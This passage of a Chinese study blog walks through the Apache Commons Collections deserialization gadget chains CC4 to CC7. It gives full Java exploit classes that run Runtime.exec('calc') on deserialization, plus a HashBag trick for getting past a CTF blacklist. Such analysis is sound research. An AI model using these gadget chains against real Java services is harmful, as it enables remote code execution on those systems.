new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
- CommonsCollections5
cc5跟过一次。当时没用jdk1.7的环境。现在实验下jdk1.7 + cc3依赖的exp.另外发现这个链子cc3,cc4依赖都可以使用。貌似是ysoserial只写了cc3的链子。稍微改下就可以用在cc4的环境了。
首先重点还是构造链子来调用喜闻乐见的反射transform rce payload.这里的方法在第一篇学反序列化时已经跟过了
然后是一个细节:
TransformedMap.decorate()
方法能将普通的MapA转换为TransformedMapB,同时如果TransformedMap.decorate()
方法设置了第二个参数keyTransformer或者第三个参数valueTransformer,当TransformedMapB调用Map的put方法或者Map.Entry的setValue方法就会自动触发刚才设置的keyTransformer或者valueTransformer相应的Transformer
之所以提到decorate()
是因为我自己这一部分cc1的链子在书写exp中用的是反射实例化的lazymap。当时只是跟着别人的exp用反射实例化了,结果后来发现明明cc3依赖中直接decorate就可以创建lazymap。
这个方法在cc4依赖中变为了LazpMap方法
然后核心还是跟cc1一样,此时只要一个调用LazyMap#get的位置来触发rce。
用到的gadget是TiedMapEntry#toString => getValue => get.需要this.map为LazyMap.跟过一遍就不再说了。
再接下来是BadAttributeValueExpException来触发toString.
因为其readObject中valobj.toString
的valobj来自输入的val。所以直接反射设置为TiedMapEntry即可
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
......
exp
package top.bycsec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap<String, String>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
oos.writeObject(badAttributeValueExpException);
oos.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后上面说了。换成cc4依赖是通杀的。我们只需将exp中依赖全部换成4的,然后decorate方法换成lazyMap来实例化LazyMap即可
exp
package top.bycsec;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap<String, String>();
Map lazyMap = LazyMap.lazyMap(hashMap,chainedTransformer);
//Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
oos.writeObject(badAttributeValueExpException);
oos.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
- CommonsCollections6
比较类似CC5的链子。然后利用环境也是3,4通杀。
cc6的gadget与cc5的区别在于没有利用TiedMapEntry#toString,而是TiedMapEntry#hashCode
这个方法在URLDNS中出现过,在反序列化时会重新计算对象的 hashCode.
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public Object getValue() {
return this.map.get(this.key);
}
跟toString一样调用了getValue。所以就基本一样了。
触发hashcode的方法是利用Hashmap类的hash
final int hash(Object k) {
int h = hashSeed;
if (0 != h && k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
加上hashMap.put
public V put(K key, V value) {
if (table == EMPTY_TABLE) {
inflateTable(threshold);
}
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
这样就可以直接put触发了。然后官方的链子不知道为啥加上了一个Hashset,有点奇怪。
exp
package top.bycsec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "byc");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
innerMap.clear();
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
oos.writeObject(hashMap);
oos.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
同样也是cc依赖3,4通用。
然后强网杯当时一道java题记得就是用的cc6的链子改了下。因为当时是存在手写的黑名单,不能用hashmap,但是可以找替代的hashcode来利用。所以用HashBag替换一下就行。
HashBag hashMap = new HashBag();
hashMap.add(tiedMapEntry, 1);
hashBag继承了一个抽象类,然后方法基本跟HashMap差不多。所以小改下就可以直接打了。
- CommonsCollections7
cc7的链子是通过AbstractMap#equals来触发LazyMap#get
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<K,V> m = (Map<K,V>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
这里如果控制m为lazymap即可触发rce.
然后cc7是在HashTable#reconstitutionPut中调用过equals方法
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
......
然后HashTable的readObject也调用过了reconstitutionPut.所以可以触发。
exp
package top.bycsec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class cc7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap innerMap1 = new HashMap<String, String>();
innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
HashMap innerMap2 = new HashMap<String, String>();
innerMap2.put("zZ", "1");
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
HashMap hashMap = new HashMap();
hashMap.put(lazyMap1, "placeholder");
hashMap.put(lazyMap2, "placeholder");
innerMap1.remove("zZ");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
oos.writeObject(hashMap);
oos.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里有个细节。就是首先需要put两次才能调用equals方法。
然后由于一个小bug
"yy".hashCode() == "zZ".hashCode()
会导致”碰撞”发生,其实就是因为这样计算出来的hash一致所以会导致它调用其中一个对象的equals方法进行比较。这样就能成功进入我们的gadget了。最后expremove掉zZ这第二个元素。这是要去掉这个键。否则这个hashmap会带上无法序列化的对象从而使反序列化失败。
- summary
没想到最后还是成功把链子都跟完了。这篇文章就写这么多了。反序列化的gadget跟进说实话比起php少了一点变通,但是难度还是有点大的。不过整体下来不难发现Map类,cc库中的一系列Transformer类,反射的技巧起到了至关重要的作用。并且实际上肯定存在更多gadget等待发掘。
后面会抽空去学习下shiro,jackson,fastjson等等的深度分析。